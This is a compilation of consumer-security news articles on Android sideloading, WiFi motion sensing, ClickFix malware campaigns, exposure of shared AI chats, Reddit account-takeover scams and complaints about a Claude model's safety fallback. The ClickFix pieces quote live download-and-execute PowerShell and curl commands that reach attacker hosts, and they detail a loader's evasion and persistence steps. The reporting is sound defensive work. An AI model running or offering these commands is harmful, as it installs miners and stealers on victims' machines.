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A Google spokesperson announced on Reddit that it has started rolling out the first version of its  Advanced Flow , designed to make installing apps from unverified developers safer. Let us explain what sideloading is, why Google Play is not 100% safe, what to look for when you’re sideloading so you can do it more safely, and how Google’s Advanced Flow helps with that. What is sideloading? Sideloading lets Android users install apps from outside Google Play. It can be useful, but it also creates opportunities for scams and malware. Android’s openness is one of its enduring strengths. You are not limited to a single app store: You can install apps from a developer’s website, an alternative marketplace, an enterprise portal, or a file shared directly with you. That is called sideloading. It is not automatically dangerous, but it removes some of the guardrails that come with conventional app-store distribution. Getting apps from the Google Play Store itself is no guarantee of safety, but there is at least some vetting. Google says it blocked more than 1.75 million policy-violating apps from being published in 2025 and banned more than 80,000 developer accounts associated with harmful apps. There are several reasons for sideloading: The developer distributes an app directly from its own website An app is unavailable in your country or on Google Play An alternative app repository offers what you’re after, for example open-source software You need an enterprise, beta, or specialized app You want to install a version that is not currently offered through Google Play But malware authors and online scammers use the same flexibility. They may impersonate banks , delivery services, government agencies, crypto platforms, news readers , or job recruiters, then urge victims to install an app to “secure” an account, receive a payment, or resolve an invented problem. Google Play is not a free pass Google Play has review processes, policy enforcement, developer controls, and Google Play Protect . It also runs ongoing checks after an app is published. Those measures meaningfully reduce risk, but they do not make every listing harmless or every developer trustworthy. Threats that can still surface through official channels include: Trojans disguised as useful utilities, games, or financial apps Adware and apps that misrepresent their behavior Subscription traps and deceptive billing practices Data-harvesting apps that request more access than they need Sleeper apps that change behavior after passing an initial review Google Play Protect checks Play Store apps before download and also scans apps from other sources. It can warn about, disable, or remove potentially harmful apps, but it should be viewed as one layer of security, not a substitute for scrutinizing an app before installing it. Mobile protection, anywhere, anytime . Try it now In short, “available on Google Play” is a positive signal, not a security verdict. Why sideloading requires attention The main difference between installing from a recognized store and downloading an APK from elsewhere is not simply the file format. It is the trust chain. When you sideload, you may have fewer assurances about: Who created the app Whether the file has been altered or repackaged Whether the download site is impersonating a legitimate developer Whether you will receive genuine updates Whether a scammer is manipulating you into disabling security protections Social engineering is often the decisive factor. A convincing caller, pop-up, text, or chat message may insist that installing an app is urgent. The attacker’s goal is often to make the victim bypass warnings before they have time to question the request. Treat any unexpected request to install an app as suspicious, especially when it comes with urgency, secrecy, a promise of money, or a claim that your bank, government, employer, or device provider requires it. A legitimate bank, government agency, law-enforcement organization, or technical-support provider should not call or message you and instruct you to install an APK or weaken Android security settings. How to sideload more safely Sideload only when you have a specific reason for it, and make sure the decision came from you rather than an unexpected message or phone call. Start at the developer’s official site. Don’t use sponsored search results, random download portals, links sent by strangers, or lookalike domains. Verify the developer independently. Check the publisher’s official website, documentation, public code repository, and trusted community channels. The information supplied on the download page alone is not enough. Prefer established repositories. If an app is distributed outside Google Play, use a source with a strong reputation for provenance and signature verification where possible. For advanced users, it can be useful to compare an APK’s signing certificate or cryptographic hash against a value published by the developer. That is not practical for everyone, but it can help detect fakes. Do not install apps under pressure. End the call, close the chat, and independently research the claimed organization using contact details you find yourself. Keep Google Play Protect enabled. It scans apps during installation and periodically afterward, including apps installed from outside Google Play. Review permissions before and after installation. Be especially cautious if a simple app wants access to accessibility services, SMS messages, notifications, device administration, contacts, or screen recording. Keep Android and apps updated. Security fixes can protect against both operating-system flaws and known malicious app behavior. Use reputable mobile security software . A separate security layer can help identify risky behavior and provide additional visibility into potentially unwanted or malicious apps. Remove permissions and uninstall apps you no longer trust or use. An app that seemed harmless at installation can become a liability if its developer abandons it or changes direction. How Google’s new Advanced Flow helps Google is rolling out Advanced Flow for installing apps from developers that have not completed Android’s new identity-verification process. The feature is intended for users who understand the risks of installing unverified software but still need that flexibility. The design is notable because it targets social-engineering attacks as well as malware. Instead of allowing an immediate, one-tap override, the flow requires users to: Enable developer mode in system settings. This is  easy enough and helps prevent accidental or one-tap bypasses often used in high-pressure scams. Complete a quick safety check  to make sure that no one is talking you into turning off your security. Scammers often pressure victims into disabling protections. Restart your device,  which cuts off any remote access or active phone calls a scammer might be using to guide you. Wait one day,  then confirm the change using biometrics, such as fingerprint or face unlock, or your device PIN. This one-time, one-day delay breaks the urgency scammers rely on, giving you time to think. Once you have completed the process, you can choose to allow installs from unverified developers for seven days or indefinitely. Advanced Flow does not mean Google Play is risk-free, nor does it make unverified apps inherently malicious. Developer verification establishes accountability: It connects an app to a verified developer identity, but it does not establish that every app is benign or suitable for every user. At the end of the day, it’s up to you. Install apps because you chose them after checking the source, not because someone else manufactured an emergency. Whether an app comes from Google Play or an external source, pause before installing. Check who made it, why it needs the permissions it asks for, whether the download route is trustworthy, and refuse when a stranger is trying to rush you. That little friction is a feature, not just a nuisance. Scammers know more about you than you think.   Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in.  Download for iOS →   Download for Android →  

Comcast is promoting WiFi-based motion detection as a part of its new Xfinity Shield home protection platform, allowing routers and wireless devices to detect people moving through a home without cameras or motion sensors. This feature was announced as part of a new Xfinity Shield product offering on Tuesday, a new application suite that combines cybersecurity, physical home monitoring, and family safety features through Xfinity WiFi and the Xfinity app. Part of this new offering is WiFi Shield, which is included at no additional cost for Xfinity Internet customers with compatible gateways. It combines Xfinity's CyberSecure network protection, Family Settings, and WiFi Motion, with Home Watch, Away Watch, and Dark Watch modes used to control when notifications are generated. Comcast is also launching Shield Select for $15 per month, which adds an indoor camera, door/window sensor, cloud video storage, and 24/7 urgent response functionality. However, while Comcast is now making WiFi Motion a major part of its WiFi Shield security offering, the motion detection feature isn't new. A Reddit post from August 21, 2024, shows an Xfinity customer receiving an email introducing WiFi Motion. This email describes the same functionality as today's announcement, stating that the feature detects disruptions to WiFi signals between the gateway and devices on the network and generates notifications in the Xfinity app. "It works too. It detects motion to the point of raising your hand to change the channel with the remote control. Detects my cat walking across the living room," reads another user using the feature in 2024. WiFi NOW also reported in February that Comcast had offered WiFi Motion "for a long time" and was ramping up its marketing, including advertising it during Olympic hockey broadcasts. Turning WiFi signals into motion sensors WiFi Motion works by turning the radio links between an Xfinity Gateway and stationary WiFi devices into virtual motion sensors. According to support documents, customers select stationary WiFi devices, such as smart speakers or thermostats, positioned around the home. When someone moves through the area between the gateway or extender and one of those devices, their body changes how the WiFi radio signals travel. Comcast says the system detects these changes in the home's radio frequency signals and uses them to determine that movement has occurred. Customers will then receive notifications through the Xfinity app without installing a camera or motion detector. Xfinity says the system does not identify who is moving or determine their exact location, and WiFi Motion is opt-in and disabled by default. "It is designed to detect motion, not identify specific people, and does not track the exact location of movement. Notifications indicate when movement is detected between a connected device and the Xfinity Gateway," explains an Xfinity support document. However, the technology can be sensitive, with Comcast providing different motion sensitivity levels to filter out movement from small pets weighing around 40 pounds or less. The company warns that the system has no visual information and therefore may not always distinguish a small pet from a similarly sized child. Comcast also advises customers in apartments and other buildings with shared walls to lower the sensitivity if movement outside the sensing zone causes unwanted detections. A Comcast patent application provides a glimpse into how this type of system can work. The pending patent, titled "Methods, systems, and apparatuses for presence detection," was filed by Comcast Cable Communications in September 2023 and published in April 2025. It describes using stationary network devices for motion detection and analyzing changes in characteristics such as the wireless signals to determine when an object or person has moved through a space. The patent explains that WiFi signals can travel along multiple paths as they reflect or scatter off walls, people, and other objects. Movement changes those paths and the resulting wireless signal, allowing software to detect that something in the environment has moved. Comcast's patent cites several earlier Cognitive Systems patents related to WiFi motion detection, including technology for detecting motion from repeated wireless transmissions and motion detection in mesh networks. Using WiFi as an invisible motion sensor raises questions about what happens to the data generated when people move around their houses. As first spotted by TechCrunch, Comcast's WiFi Motion documentation says the company may disclose information generated by the feature to third parties "without further notice to you" in connection with a law enforcement investigation or proceeding, a dispute involving Comcast, or pursuant to a court order or subpoena. Comcast separately states that it does not monitor the motion or notifications generated by WiFi Motion. The company's documentation does not explain what WiFi Motion information Comcast retains, how long it keeps it, or what it could provide in response to a legal demand. BleepingComputer contacted Comcast with questions about the generated data and will update the article if we receive any additional information. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

This year has seen a real boom in ClickFix attacks . It’s such a hit with criminals that we barely finish writing about one variation before it’s time to cover the next. This time, attackers are targeting gamers: tech journalists spotted posts pushing malicious tips on Steam forums. Here’s what these posts look like, what malware they’re used to spread, and how to keep your device safe. ClickFix finds its way onto Steam forums Many gamers turn to their fellow players on Steam forums for help and advice on things like beating a tricky quest, leveling up, scoring the best loot, or working around a bug. And it’s precisely this trust in community advice that attackers have decided to exploit. The attack starts when criminals reply to someone’s question about game crashes, missing inventory items, or other technical issues. Posing as helpful commenters, they suggest opening PowerShell as an administrator and running a command that supposedly fixes the issue the user is having. Disguising their post as troubleshooting advice, the malicious actor suggests running PowerShell as an administrator and executing a command that supposedly fixes the user’s issue. Source As you might guess, running the command doesn’t fix anything — it just opens a whole new can of worms. That’s the whole idea behind ClickFix: using social engineering to trick victims into carrying out unsafe actions themselves while giving the scammers what they need to compromise the device. We’ve covered other ClickFix tricks before — fake CAPTCHAs, bogus browser errors, and more — all of which rely on getting the victim to run the malicious command on their own. You can read more about the different variations of ClickFix attacks in our earlier post. The guile of using ClickFix on Steam forums is that the attack may hit not only the player who asked for help; plenty of other gamers who run into the same issue and find the answer via a Google search can fall for it too. A quick primer: what’s really behind the irm | iex command Before we get into what attackers actually trick gamers into installing this way, we need to cover some technical background. So, first off, the posts on Steam forums advise unsuspecting would-be victims to run the following command in PowerShell: irm msfconfig.icu | iex To someone not intimately familiar with PowerShell, this line might look fairly innocuous — it resembles launching MSConfig, Windows’ built-in system configuration utility, with a few extra parameters. In reality, though, it’s anything but harmless. Let’s break down what each part of this command actually does: irm is short for the built-in PowerShell command Invoke-RestMethod . It reaches out to the web address specified later in the line and retrieves data in response. icu is that web address — not the name of some local file as it might appear at first glance. This is the attackers’ server, and it responds to the irm request with a malicious PowerShell script. iex is another built-in PowerShell command, Invoke-Expression . It takes whatever irm receives from that web address and executes it as PowerShell code. Once run, this line of PowerShell code downloads a script from the specified site and immediately executes it. As one Reddit user rightly pointed out , you can safely find out what code would actually be downloaded to your device — without the risk of it running — just by deleting the second part, iex . Without it, the command will simply download the script’s contents and print them to the PowerShell window without executing them. This gives you the full, unobscured code that you’re being asked to run on your device. Next, let’s look at what these helpful Steam forum posters are actually trying to get gamers to install on their machines. A crypto miner, not an optimization tool The attackers did their homework: the PowerShell script downloaded from their server does a convincing job of mimicking a Windows optimization utility. Once launched, it shows the user a series of notifications claiming to clear temporary files, flush the DNS cache, update drivers, check the disk for errors, disable unnecessary startup apps, scan the system for malware, repair the Windows image, and verify system file integrity. The script displays a stream of messages about various fake optimization tasks to make it look like it’s doing useful maintenance. Source The real activity, meanwhile, happens behind the scenes. The script starts by checking whether it’s running with administrator privileges. If it is, it creates a hidden working folder at C:\Windows\Background , and adds it to Microsoft Defender’s exclusion list. From that point on, any files placed in that folder cease to be scanned by Windows’ built-in antivirus. Next, the script preps the system for the next stage of the attack and downloads an executable from the attackers’ server — saving it into that same C:\Windows\Background folder under the legitimate-sounding name system.exe . The downloaded file is XMRig , one of the most popular tools for mining the Monero cryptocurrency. XMRig itself isn’t malware; it’s a legitimate, open-source mining tool. The problem is that attackers install it on victims’ computers without their knowledge. Once it’s running, the device’s computing power gets hijacked for Monero mining, with the resulting cryptocurrency going straight to the criminals. This makes gamers’ rigs especially appealing targets: modern gaming PCs pack powerful CPUs and GPUs — exactly the kind of hardware that’s great for mining crypto. To make sure the malware survives a reboot, the script also creates a new task in Windows Task Scheduler: XMRig-{computer name} . From then on, it automatically launches the crypto miner every time the system starts up. How to protect your device from crypto miners and other malware Unfortunately, many gamers are reluctant to install security software — or keep it running — on their devices. The main culprit is the persistent myth that “an antivirus slows down your game”. We’ve covered research on this on our blog before, and the results showed no significant performance hit from running an antivirus while playing. The same can’t be said for crypto miners, though — they definitely hurt performance, and they wear down your hardware faster to boot. So what can you do to keep your gaming PC and accounts out of harm’s way? Avoid running PowerShell, Terminal, or other command prompt scripts that strangers suggest you copy and execute — whether on forums, in chats, or in comments. Before hitting Enter on any command you don’t fully understand, look up what it does and the potential fallout from running it. Use a reliable security solution with a gaming mode  that will flag malware download attempts in time and block them from running. Don’t turn off protection while you play. Using a solution with a dedicated gaming mode is the way to go. Kaspersky security products  automatically activate that mode as soon as a game launches, holding off antivirus database updates, notifications, and scheduled disk scans until you’re done playing. Curious how else attackers target gamers? Check out our other posts: Stealka stealer: the new face of game cheats, mods, and cracks Vulnerability in Unity game engine Gamers under fire: malware on official websites Arcane stealer instead of Minecraft cheats Gamers beware: Trojans have invaded Steam

Reddit users found that by using a specific Google search query, it was possible to find Claude conversations that users had shared. This exposed sensitive material, including crypto wallet keys, names, addresses, work notes, and even erotic or otherwise policy-violating chats. Fortune says Anthropic appears to have fixed the Google indexing issue, but the shared links themselves were still live for people who already had them. The exposure was tied to Claude’s Share feature, which creates a public web link to a snapshot of a conversation rather than leaving it inside a user’s private account. Reddit users found a search query that surfaced many of these shared chats, plus Claude Artifacts (interactive documents, apps, and other content created by Claude) in Google results. Wired reports that this is still true for Bing. The main risk is that people use chatbots to think through work, health, legal, or personal matters without realizing that a shared link can behave like ordinary public web content. This isn’t unique to Claude. We’ve previously seen Grok chats show up in Google search results, and Meta AI conversations can also become public by design. We have also written about the share option in ChatGPT that was swiftly removed after users unintentionally made thousands of conversations searchable. Anthropic says Claude chats are private by default, and only conversations users explicitly chose to share were affected. But the incident is a reminder that a “share” button on an AI chat can be more like publishing than messaging, especially if search engines can discover the resulting URL. How to stay safe The easy way out here is not to share your AI chatbot conversations with anyone, because you could end up reaching more people than you intended. That’s because it’s harder to stop pages from being indexed than you might expect. And you don’t have those controls in your hands. The AI provider should take care of that. But there are a few things you can do: Don’t share Personally Identifiable Information (PII) with a chatbot, so that if a conversation is ever exposed it can’t be easily linked back to you. To review or stop sharing conversations in Claude, go to Settings > Privacy > Shared chats. If you’re using an AI service from a social media company, such as Meta AI, Grok, or Gemini), remember that your conversations could be tied to your account—which might contain a lot of personal information. When using AI, make sure you understand how to keep your conversations private. Many services offer temporary or incognito chats that aren’t saved to your history, but they aren’t a guarantee against bugs, leaks, or data breaches. Only use the share feature when you’re comfortable with anyone potentially seeing that conversation. Read the privacy policy so you understand how your conversations are stored and shared. If it’s too long, you can always ask an AI to summarise the important points. Let’s face it, an incognito window can only do so much. Breaches, dark web trading, credit fraud. Malwarebytes Identity Theft Protection monitors for all of it, alerts you fast, and comes with identity theft insurance.

The fake report message that ends with a stolen Reddit account A direct message arrives on Reddit from a stranger, and it invites a reply. That reply is the point. This scheme runs on social engineering, with no malware and no malicious links, and it has spread across Reddit, Discord, and similar platforms. The goal is a single piece of information: a login or verification code that hands your account to someone else. “The conversation usually starts with one of two claims. Either the person says someone reported their account and it looks like it was you, or they claim they accidentally reported your account by mistake. If you deny it, the scammer doesn’t argue. They say it was probably an honest mistake and keep the conversation going. They might ask if you know who reported them or suggest you can help clear things up. The goal is simply to keep you engaged,” Stefan Dasic, Senior Malware Research Engineer at Malwarebytes, explained. The fake proof Then comes the “proof.” The scammer sends a screenshot of an email dressed up to look like official Reddit correspondence. It carries a formal tone, a ticket number, a line about a “formal investigation,” and a countdown, often 12 hours, before “suspension, limited features, or a ban.” Some versions route you to a Discord contact posing as a Reddit employee or moderator. Others add a fake legal warning citing laws that have nothing to do with the situation. Paired with threats of suspension, restricted features, or a ban, it pressures you into acting quickly, before the story gets a second look. The moment the code arrives The report and the fake email set the stage for one request. The scammer says a Reddit employee or “supervisor” needs to verify your account to confirm you were uninvolved, and that verification means reading back a code Reddit is about to send. During the conversation, the scammer signs in to your account or starts an account recovery. Reddit reacts by sending a login or verification code straight to you. The timing lines up with the script: the code lands moments after you were told to expect it. Read it aloud, and the scammer uses it to enter your account, change the password, and lock you out. Some versions push further. Victims get talked into changing the email address tied to the account to one the scammer owns. A demand for a gift card or other payment follows, with threats to delete the account or turn it against other people unless the victim pays. How Reddit handles reports Reddit manages reports, moderation, and appeals inside its systems. People named in a report are never asked to contact each other. Verification of an account through a stranger in a direct message plays no part in the process. Appeals travel through Reddit, with no detour to a staff member’s personal Discord account. Any request that steps outside those channels is a scam. Steps that keep an account safe A few habits shut this scheme down. Keep every login and verification code private, even from anyone claiming to be Reddit staff. Refuse any request to change the email on your account for a stranger. Treat a demand for gift cards or money to resolve a report as proof of a scam. Turn on two-factor authentication with an authenticator app, and read any surprise login code as a sign that someone is trying to get in. Lost access calls for Reddit’s official account recovery process at reddit.com, along with a new password and a report through Reddit’s built-in tools. Read more: Using Reddit to manipulate AI search results is surprisingly easy Reddit declares war on bad bot activity

A stranger messages you on Reddit. They say someone reported them, and the reporting account looks a lot like yours. Was it you? It wasn’t. That’s not really the point of the message. This version relies entirely on social engineering. There is no malware and no malicious links. It starts with a conversation, but the goal is to trick you into handing over a login or verification code so the scammer can access your Reddit account. How this scam works There are two common variants of this scam: “Someone reported me, and it looks like it was you.” “I accidentally reported your account.” Someone claims there was a mistake involving a report. In one version, they say someone reported them and it looks like it was you. In another, they claim they accidentally reported your account and need your help to fix it. Either way, there’s no report. It’s the opening to a social engineering scam that has become common on Discord, Reddit, and other platforms. The end goal varies. Some versions try to trick you into sharing a login or verification code so the scammer can sign in to your account, change your password, and lock you out. Others persuade you to change the email address linked to your account to one they control. They then demand a gift card or other payment to “fix” the problem, threatening to delete your account or use it to scam other people if you don’t pay. If you’re still talking to them, stop and don’t share any codes or change your account details. If you’ve already done either and lost access to your account, skip ahead to How to protect yourself below. How it plays out The conversation usually starts with one of two claims. Either the person says someone reported their account and it looks like it was you, or they claim they accidentally reported your account by mistake. If you deny it, the scammer doesn’t argue. They say it was probably an honest mistake and keep the conversation going. They might ask if you know who reported them or suggest you can help clear things up. The goal is simply to keep you engaged. Then they send “proof”: a screenshot of an email made to look as though it’s from Reddit. It has a formal tone, a ticket number, a claim that a “formal investigation” is underway, and a countdown, usually 12 hours, before “suspension, limited features, or a ban.” Some versions tell you to contact someone on Discord who claims to be a Reddit employee or moderator. Others include a fake legal warning that cites laws or regulations unrelated to the situation. None of it is real. Why this isn’t how Reddit works Reddit doesn’t ask people involved in a report to contact each other, and it doesn’t ask you to verify your account through a stranger in a direct message. It doesn’t handle appeals through Discord or direct you to a staff member’s personal Discord account. Reports, moderation, and appeals all happen through Reddit itself. The countdown is there to create urgency. Combined with vague threats of suspension, restricted features, or a ban, it’s designed to make you act before you have time to question what’s happening. What they’re actually after The report and the fake email are just the setup. The scammer tells you that a Reddit employee or “supervisor” needs to verify your account to prove you weren’t involved. To do that, they say, you need to read back the code Reddit is about to send you. While you’re in the conversation, the scammer tries to sign in to your real account or trigger an account recovery. Reddit responds by sending a genuine login or verification code to you. The timing isn’t a coincidence. The code arrives just after you’ve been told to expect it. If you read it back, the scammer can use it to sign in to your account, change your password, and lock you out. The code itself is real. The story around it is the scam. Why people fall for it Whether you’ve been accused of reporting someone or told your account was reported by mistake, the scam puts you in a position where you want to fix the problem. So when you’re asked to “verify” your account, it can feel like part of resolving the issue rather than a security risk. The fake email makes the story seem more believable, especially if you don’t stop to question whether the contact method or process matches how Reddit actually works. The countdown adds a sense of urgency, encouraging you to act before you’ve had time to think it through. This isn’t about being gullible. It’s a well-rehearsed social engineering script designed to make a reasonable request seem legitimate. It’s not just direct messages While the false-report scam usually starts in a direct message, scammers also impersonate Reddit in phishing emails claiming your account has been locked or needs attention. If you receive an unexpected security email, don’t click the links inside it. Instead, sign in to Reddit directly through the official website or app. If your account is compromised, you may notice posts, comments, or messages you didn’t create. That’s a sign someone else has access to your account. If that happens, change your password, enable two-factor authentication if you haven’t already, and follow Reddit’s account recovery process. How to protect yourself Never share a Reddit login or verification code with anyone, even someone claiming to be Reddit staff or support. Never change the email address linked to your account at a stranger’s request, even to “fix” a reported issue. If someone asks you to buy a gift card or send money to resolve a report, it’s a scam. Reddit won’t ask users involved in a report to contact each other, verify their accounts through direct messages, or handle appeals through Discord. If you receive an unexpected Reddit security email, don’t use the links inside it. Sign in to your account directly through reddit.com or the official app instead. Turn on two-factor authentication using an authenticator app, and treat any unexpected login or verification code as a sign someone may be trying to access your account. If you notice posts, comments, or messages you didn’t create, secure your account immediately by changing your password. If you’ve lost access, use Reddit’s official account recovery process at reddit.com. Report the scammer and their messages using Reddit’s built-in reporting tools. Remember If someone asks you to share a login or verification code, stop there. That’s the scam. Everything before it is just the setup.

Claude Fable, the company's most powerful model, is now available to all users, but early impressions are disappointing, as it appears to be nowhere near the original release. When the Department of Commerce announced that it was lifting the ban on Claude Fable, I was holding my breath and counting seconds for the model to show up on Claude Code. I had also loaded up my usage-based credit wallet, just in case the model debuted as strictly usage-based. To our surprise, Claude Fable shipped for everyone, including those with a $100 Max subscription, but there are multiple restrictions. According to Anthropic, while Fable 5 is included in Max, Pro, and Team plans, it is heavily capped. For example, you can use Fable for up to 50% of your weekly usage limits, which is not significant for such a powerful model. But it'll get worse after July 7, as the model will transition entirely to a pay-to-play system via usage credits. However, the real gut punch is the degraded performance, or as famously used in the AI community, the "nerfed" performance. On Reddit, users are reporting that the restored Fable 5 feels weaker, or is simply being routed through stricter safety systems more often than before. "The new guardrails are kicking in on way too many tasks and falling back to Opus 4.8," one user wrote in a Reddit post. "This is not the model that got banned." The problem is not just limited to Claude desktop, as Claude Code is also struggling with similar issues. One user said Fable "didn't even let me search for dead code without switching to Opus," while another said it was "very very obvious" when the fallback triggers because Claude tells the user and visibly shifts to Opus. Another developer claimed the model was unusable for some systems-level coding work, saying that C, C++, Rust, Win32 API references, memory-related work, and files mentioning words like "security," "vulnerable," "unsafe," or "hook" appeared to trigger a fallback or block. Fable 5 may still be powerful when it actually handles the task, but the restored version appears to be far more sensitive to prompts, project files, and security-adjacent language. However, BleepingComputer understands that the model itself has not been nerfed. Instead, it is likely that Anthropic is being extra careful with the safety guardrails, which is negatively affecting Fable's daily use cases. In fact, we observed that Fable is sometimes routed to Opus 4.8 even when the task does not appear to be a safety risk. Anthropic has said that its updated safeguards rely on a large "safety margin," which could explain the subpar experience some users are seeing with Fable. Anthropic hasn't acknowledged the reports of false positives yet, but it's likely the company is aware of the problem and will address it in a future update. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Updated July 6 to add connections with SyncTDS and TrafficTDS ClickFix attacks, which trick people into running malicious commands themselves, continue to evolve. This latest campaign uses fake Google and Cloudflare verification pages to convince victims to infect their own devices. A single mistake can install malware that steals passwords and other sensitive data, gives attackers remote access to your computer, or downloads additional malware that can take full control of your system. We uncovered multiple campaigns using the same infrastructure to deliver malware including HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport, and a Rust-based stealer. In one infection chain, a trojanized version of the legitimate Franz messaging app downloads a previously undocumented loader dubbed ResiLoader, which disables security software before deploying the StealC infostealer. Before we look at the technical details, here’s how to avoid becoming the next victim. How to stay safe ClickFix attacks rely on convincing you to run commands yourself. The safest approach is simple: Never copy and run commands from a website unless you’re following instructions from a trusted source and understand exactly what the command does. Be wary of verification pages. Google, Cloudflare, Microsoft, and other legitimate services will never ask you to paste PowerShell commands into Windows to prove you’re human or fix a problem. Don’t let urgency rush you. Fake verification pages often use countdown timers, visitor counters, or warnings to pressure you into acting quickly. Keep your security software up to date. Real-time protection and web protection can help block malicious websites before you reach them. Question unexpected technical instructions. If a website tells you to open PowerShell, Command Prompt, or Terminal, stop and verify the instructions through the company’s official support channels. Pro tip: Malwarebytes Browser Guard can warn you when a website attempts to copy content to your clipboard—a common trick used by ClickFix pages. Technical analysis The campaigns analysed in this research have been active since at least late 2025 and use a variety of fake Google and Cloudflare pages to deliver malware. Although the lures differ, they share much of the same infrastructure and infection chain, with the attackers continually testing new delivery methods and payloads. Different lures, one goal Most of the campaigns share several characteristics: Use of the folder C:\ProgramData\Zooms to extract later stages PowerShell ClickFix commands that follow similar patterns Use of Cloudflare R2 buckets to deliver payloads IP addresses hosted by the ASN Dedik Services Limited HTML responses containing only the phrase "hehe" These indicators have changed over time, so they don’t appear in every infection chain. The campaigns continue to evolve, with new payloads and delivery methods regularly introduced. For example, in some cases, the IP address is used directly for payload distribution instead of buckets. The final command copied by the user usually falls into this pattern: powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)” The port and the path are not always present in the cases analyzed; the ports are random, but some used ones are: 6600, 9900, 5506, 7895, 7493, 149, 8442. To execute these commands, several ClickFix-related templates are used, mainly related to Google and Cloudflare. We also detected that in some cases the PowerShell command was distributed through the IClickFix framework. We observed these ClickFix campaigns being distributed through: Old websites that have likely expired and been repurchased by the actor(s). CloudFlare Pages (.pages.dev domains). Compromised websites. Fake services, for example related to QR code or web file access. Google ClickFix lures The actors behind these campaigns use various Google-related HTML pages and kits. One lure impersonates Google reCAPTCHA verification. The pages are hosted on random URLs that display fake or malicious content. These domains are often older registrations that recently began resolving to new IP addresses, suggesting they were repurposed for the campaign. Some of these pages have URL parameters like such as “zoneid”, “cost”, “device”, “country”, “clickid”, for example: /conf/captcha.html?zoneid=10420852 /wincapbot/nobot.html /xmr/trkuste.php?zone=5327134 bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop In this case, the functions related to ClickFix are implemented in the class CustomCaptcha. The command is present in clear without any obfuscation. Another distribution method uses Cloudflare Pages hosted on .pages.dev subdomains. In this case, the HTML page is obfuscated by declaring several variables and XORing them. The deobfuscated code is called SECURITY GATEWAY and it’s composed of the functions GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, and PanelController. The code allows the attackers to retrieve the command either remotely or locally. In this sample, the malicious PowerShell command is stored locally. We also found that some of these domains have distributed another decoy in the past, in this case associated with an unauthorized Google login. This ClickFix lure asks the user to copy and paste the malicious command to set their device as primary. The interesting part of this ClickFix kit is that it features an “approval gate,” as described in the comments, and that the attacker must manually choose from the panel which command to have the user execute. In more recent campaigns, we’ve detected a ClickFix lure related to Google Meet, which requires copying and pasting a malicious command to fix audio issues. In the analyzed cases, the endpoint /api/driver-clipboard.php returned the following malicious command: {"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} Other lures The actors behind this campaign use various kits and lures, mostly related to Google. However, we’ve detected other lures that copied commands related to the same infrastructure. The attackers behind these campaigns also compromise multiple websites using different templates related to the CloudFlare ClickFix lure. We have detected several templates used for CloudFlare pages. The command is present in clear or in some cases obfuscated in the cases analyzed. We also detected some specifically created fake services websites. For example, a “My QR Generator” site displays an obfuscated QR code and asks the user to run a PowerShell command to verify that the user is not a robot. In this case the command is encoded in base-64: PowerShell downloader The ClickFix command executed by the user decodes a script and drops it into the Temp folder with the name tmp{4 char}.tmp.ps1. We have detected several variations of this script, but recent versions do the following: Create the folder C:\ProgramData\Zooms . Download the next stage from a CloudFlare bucket and save it in C:\ProgramData\Zooms . In some variants of the script, the next stage is downloaded directly from an IP. Send the information of the compromised machine to http://{IP}/dl-callback . In some variants of the script, this part is not present. The attackers behind these campaigns use a large number of different payloads.The campaigns deliver a wide variety of payloads. The table below summarises some of the downloaded filenames and the malware they install. For many of the cases analyzed, the final payload was distributed via DLL Hijacking, as we will also see later for StealC stealer. We analyzed a new loader called ResiLoader that ultimately distributes StealC. We also detected that the threat actor in the latest campaigns has started using Deno to distribute a stealer developed in PowerShell at the end; the analysis of this infection chain could be the subject of a future blog post. Trojanized Electron app downloads ResiLoader In this case, the ZIP was downloaded from: pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip After extraction to: C:\ProgramData\Zooms\libEGL.zip_ext The zip contains a trojanized version of the open-source messaging app called “Franz”: The malicious code is implemented in the index.js file: The downloader performs the following operations: Decode the strings with the function HC() . Reads readme.txt , expects a campaign key of the formAAAA-BBBB , returns it as an array of tokens. In this case the name isresiloader-1 and for this we call “ResiLoader” the downloaded DLL. Reads %APPDATA%\setup.txt ; if absent, generates a random 8-char string and persists it. Obtaining persistence using app.setLoginItemSettings . Sends a POST request to https[:]//completstep[.]com/api/ and elaborate the JSON response - If task.e is present, it executeseval(task.e) ; it allows the attacker to execute arbitrary JavaScript code. - If task.files is present, create%TEMP%\ \ , decode and write each file; if any filename ends in.exe , run it viachild_process.exec . If In our case we received a ZIP that performs the DLL hijacking of ssh-add.exe: {"task":{"name":"JUNE18USY","files":{ "msys-2.0.dll":" ", "msys-crypto-3.dll":" ", "msys-gcc_s-seh-1.dll":" ", "ssh-add.exe":" " }}} After, the executable was executed with: C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" ResiLoader The msys-crypto-3.dll is an obfuscated .NET NativeAOT loader that implements AV/EDR evasion using a BYOD technique, obtain persistence and ultimately loads the stealer StealC. We didn’t find a specific attribution for this loader and so we called it “ResiLoader” based on the string present in previous readme.txt. The loader contains several strings, some clear and some encrypted. After decrypting the strings, it’s possible to have a full picture of the functionality of the ResiLoader. MANPO: ReadModule len=... MANPO: magicOffset=... … PERS: FAIL all file copies failed, skipping run key PERS: FAIL both HKLM and HKCU Run key writes failed … RUNPE: CreateProcess failed RUNPE: PEB patched RUNPE: VirtualAllocEx failed … POST: RunForever exited (unexpected) POST: entering RunForever POST: hollow= The loader performs the following operations: Extract the encoded blob containing two payloads reading the marker AtLorenBase and the length of the encoded blob. After, it decodes the blob and decrypts the driverpcdhost.sys (OPSWAT AppRemover Driver) and StealC payload using a custom decryption algorithm. Terminate more than 140 processes related to EDR/AV processes using the dropped driver. Perform UAC bypass via ICMLuaUtil Elevated COM Interface. Create a folder C:\ProgramData\Google Update , copying itself; adding persistence using the RUN Registry Key 